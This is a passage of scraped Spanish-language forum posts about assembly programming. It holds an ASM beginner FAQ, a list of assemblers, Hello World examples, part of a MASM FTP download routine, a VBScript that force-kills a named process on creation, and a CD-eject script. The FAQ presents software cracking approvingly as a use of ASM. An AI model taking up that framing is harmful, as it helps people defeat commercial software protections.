        print "File Downloaded Successfully !", 0Dh, 0Ah
    .else
        print "Error Downloading File, Use InternetGetLastResponseInfo For More Information", 0Dh, 0Ah
    .endif

    invoke InternetCloseHandle, hInternet
    invoke InternetCloseHandle, hFtp
    xor eax, eax
    ret
DownloadTextFile EndP


En MASM hecho por pisznett


bytes ;)
#76
ASM / Quieres empezar en ASM? Entra aqui! (FAQ ASM)
Febrero 24, 2010, 03:57:25 PM

FAQ acerca del ASM by Shadow


P: ¿Que es "ASM"?
R: Es la abreviatura de lenguaje "assembler" o "ensamblador" en espa?ol.

P: ¿Que es entonces el lenguaje "ensamblador"?
R: Vistos a muy bajo nivel, los microprocesadores procesan exclusivamente se?ales electr?nicas binarias. Dar una instrucci?n a un microprocesador supone en realidad enviar series de unos y ceros espaciadas en el tiempo de una forma determinada.
Esta secuencia de se?ales se denomina c?digo m?quina. El c?digo representa normalmente datos y n?meros e instrucciones para manipularlos.
Un modo m?s f?cil de comprender el c?digo m?quina es dando a cada instrucci?n un mnem?nico, como por ejemplo CMP, ADD o JMP.
Esta abstracci?n da como resultado el ensamblador, un lenguaje de muy bajo nivel que es espec?fico de cada microprocesador.?

P: ¿Que puedo programar en este lenguaje?
R: Simple, todo lo que puedes ver digitalizado por un monitor.

P: ¿Que necesito para aprender a programar en ASM?
R: Descartando lo obvio, un cerebro con IQ de mas 81, ser incha del RMFC y ganas de aprender

P: ¿Tiene que ver ASM que esos 0s y 1s de la ciencia ficcion de los "juackers"?
R: Dejame explicarlo asi:
En la pregunta #2 vimos que "los microprocesadores procesan exclusivamente se?ales electr?nicas binarias". Veamos la instruccion "10010000":
CitarBinario (lo que procesa el micro):                                                10010000
   Hexadecimal (representacion de la instruccion en otro sistema de numeracion):           90
   Mnemonico (representacion o "comando" de ensamblador):                                 NOP
   Uso:                                                No hace nada, es una instruccion nula.
P: ¿Como puedo practicar o hacer programas en ASM?
R: Puedes bajar un compilador. Entre los mas comunes estan: TASM (Turbo Asemmbler de Borland), MASM (Macro Assembler de Microsoft) y el RadASM.

P: ¿Como se ve un programa en ASM para compilar?
R: Mirandolo (XD).

En 16 bits:
Código: asm
.MODEL SMALL ; Determinamos el modelo de memoria
.STACK ; Definimos el ?rea de pila
.DATA
MENS DB "HOLA MUNDO!.$" ; Especificamos la cadena de texto a mostrar
.CODE ; Inicio del c?digo
INI: ; Etiqueta de inicio
MOV AX,@DATA ; Permite tener acceso a los datos
MOV DS,AX ; a trav?s de el registro DS
MOV DX,OFFSET MENS ; Prepara para desplegar el mensaje
MOV AH,9 ; Llama al servicio 9
INT 21H ; de la int 21h para desplegar el texto
MOV AH,4CH ; Llama al servicio 4Ch
INT 21H ; de la int 21h para terminar
END INI ; Cierra la etiqueta de inicio

En 32 bits (para MASM):
    .486                               
    .model flat, stdcall             
    option casemap :none           
    include \masm32\include\windows.inc     
    include \masm32\include\masm32.inc
    include \masm32\include\gdi32.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\masm32.lib
    includelib \masm32\lib\gdi32.lib
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib
    print MACRO arg1:REQ,varname:VARARG   
        invoke StdOut,reparg(arg1)
      IFNB <varname>
        invoke StdOut,chr$(varname)
      ENDIF
    ENDM
    .data
      v0  dd 0
      v1  dd 1
      v2  dd 2
      v3  dd 3
      v4  dd 4
      v5  dd 5
      v6  dd 6
      ary dd v0,v1,v2,v3,v4
          dd v5,v6
    .code       
start:                       
    call main                 
    exit
main proc
    LOCAL cnt   :DWORD     
    push esi
    push edi
    mov cnt, 6             
    mov esi, ary     
  lp:
    mov edi, [esi+2] 
    print str$(esi)       
    print chr$(" = Direccion en memoria",13,10)
    print str$(edi)         
    print chr$("       = contenido",13,10,13,10)
    add esi, 4             
    sub cnt, 1               
    jnz lp                 
    pop edi
    pop esi
    ret
main endp
end start


P: ¿Porque la diferencia?
R: Un micro (microprocesador) de 16 bits soporta eso mismo, 16 bits de informacion por cada operacion que realize; uno de 32 soporta, 32 bits.

P: ¿Que otras diferencias hay entre estos 2?
R: Programar para 32 bits nos permite usar o "llamar" APIs de librerias externas como "kernel32.dll", no permite manejar la interrupciones como lo hace un programa para 16 bits; para 32 bits, los registros ("variables"; espacios de memoria reservados para guardar informacion especifica en el procesador) al aumentar su tama?o, cambian de sintaxis (PE.: de "ax" a "eax") aunque tambien se pueden seguir usando los registros de 16 bits; entre otras diferencias.

P: En la pregunta #5 mencionaste otros representaciones de los mnemonicos (binario y hexadecimal). ?Tengo que saber estas conversiones o conocer estos sistemas de numeracion?.
R: Tecnicamente, no. Pero, en la practica si (por lo menos tienes que saber convertir hexadecimal a decimal)

P: ¿Que ventajas tiene la programacion en ASM?
R: La principal ventaja es que permite crear programas muy r?pidos y livianos (Un programa hecho en C++ que imprima la cadena "Hola Mundo!." pesa unos 15.663 bytes, cuando uno hecho en ASM, que realize lo mismo y compilado con TASM, pesa 541 bytes, asiq estariamos hablando de
unas 29 veces mas peque?o).

P: ¿Y desventajas?
R: A menudo es dificil de aprender.

P: ¿Por que?
R: Los programadores de lenguajes de alto nivel no estan acostumbrados a la abstraccion, a la "limitacion" de funciones del ASM y a trabajar hablando direcctamente con el procesador, esto quiere decir que si la persona que intenta aprender ASM, no conoce el funcionamiento de un ordenador a nivel de memoria, procesador y hardware en general, le sera mucho mas dificil que al que ya conoce esto mas a fondo.

P: ¿Esto quiere decir que tengo que tener algun tipo de conocimientos sobre este tema (funcionamiento del ordenador)?
R: Si.

P: ¿De que me sirve saber ASM en nuestros dias? Por algo se inventaron los lenguajes de alto nivel.
R: Como dije, la principal ventaja es que permite crear programas muy r?pidos y livianos. Otro de los usos del ASM en nuestro dias es la llamada "Ingenieria Inversa" o "Cracking".

P: ¿"Ingenieria Inversa"?
R: "Arte del destripado"; rama de "hacking" o "pirateria informatica" que se encarga de romper cualquier tipo de seguridad que posea un programa comercial usando metodos de desensamblado y reconstruccion, comprometiendo asi cualquier tipo de cifrado o proteccion anti-"crackeo", tambien llamado por los coders: "debug", para poder disfrutar del limite de sus funciones o simplemente para modificar a gusto su funcionamiento.

P: ¿Ahora, que hago?
R: Busca un tuto basico o de introduccion que sientas que entiendas sobre este lenguaje y empieza a leer y si tienes alguna duda, ES FATAL que te quedes con ella, PREGUNTA, PREGUNTA, PREGUNTA, APRENDE, APRENDE, APRENDE, esa es la ley... Luego transmite lo que sabes!






Espero que les sirva de algo en su introduccion en este mundo!...



bytes ;)
#77
ASM / Ensambladores
Febrero 24, 2010, 03:57:04 PM
Ensambladores



RadASM (para trabajar con win32)

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - [Caído]
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - [Caído]


MASM (Lo mismo que RadAsm solo que no es una IDE)

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


NASM

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


FASM

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login






Espero que les sirva!


bytes ;)
Fuente: CM
#78
ASM / Hola Mundo - en ASM
Febrero 24, 2010, 03:56:25 PM
Gnu/linux:

Código: asm
format ELF executable

entry start

;Comentarios con ;
segment readable executable
start:

mov eax, 4 ;Servicio 4, escribir
mov ebx, 1 ;manejador de STDOUT
mov ecx, msg ;el mensaje
mov edx, msg_len ;tamanio del mensaje
int 80h ;ejecuta la llamada al sistema

mov eax, 1 ;Servicio 1 termina el proceso
mov ebx, 0 ;envia 0 como código de salida
int 80h ;ejecuta la llamada al sistema

segment readable writable

msg db 'Hola Mundo',0 ;cadena
msg_len = $-msg ;tamaño de la cadena



Windows

Código: asm

include '..\fasm\include\win32ax.inc'

.data ;variables aqui
   cuerpo db 'Hola mundo', 0
   titulo db 'Saludo', 0

.code ;codigo
start:
   push 0           ;parametros de MessageBoxA
   push titulo
   push cuerpo
   push 0
   call [MessageBoxA] ;llamamos al api

   push 0
   call [ExitProcess] ;llamando a ExitProcess con parametro 0

.end start



Ahora en 16 bits :D


Código: asm

;para crear un exe
format MZ

      ;estabilizando la pila
push cs

pop ds

mov ah, 9 ;el servicio que queremos usar, 9 para imprimir
mov dx,hello ;parametros
int 21h ;llamada a la int

mov ax,4C00h ;servicio 4Ch para salir
int 21h ;llamada a la int

hello db 'Hello world!', 24h ;cadena mensaje



Ahora en .Com

Código: asm

; Programa 16-bit COM

org 100h ; el codigo comienza en el offset 100h
use16 ; usando codigo 16-bit

mov ah, 9 ;llamando al servicio 9
mov dx, hello ;mensaje a imprimir

int 21h
;llamando a la int 21h


mov ax,4C00h ;servicio 4Ch para salir
int 21h ;llamada a la int


hello db 'Hello world!', 24h ;cadena mensaje



bytes ;)
by Ni0!
#79
Código: text
' Monitor Process Creation
Dim Proceso

Proceso = "Proceso.exe"

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService. _       
    ExecNotificationQuery("select * from __instancecreationevent " _
        & " within 1 where TargetInstance isa 'Win32_Process'")
i = 0

Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
If objLatestProcess.TargetInstance.Name = Proceso Then
    set WshShell = CreateObject("wscript.Shell")
WshShell.Run "taskkill /F /IM "&objLatestProcess.TargetInstance.Name&"", 0, true
End if
Loop
#80
Abrir:

Código: text

Set WMP = CreateObject("WMPlayer.OCX.7")
msgbox WMP.CdRomCollection.Count
for i = 0 to WMP.CdRomCollection.Count -1
WMP.cdromCollection.Item(i).Eject
next
wscript.quit



Cerrar

Código: text

Set WMP = CreateObject("WMPlayer.OCX.7")
msgbox WMP.CdRomCollection.Count
for i = 0 to WMP.CdRomCollection.Count -1
WMP.cdromCollection.Item(i).Eject
WMP.cdromCollection.Item(i).Eject
next
wscript.quit



:D


bytes ;)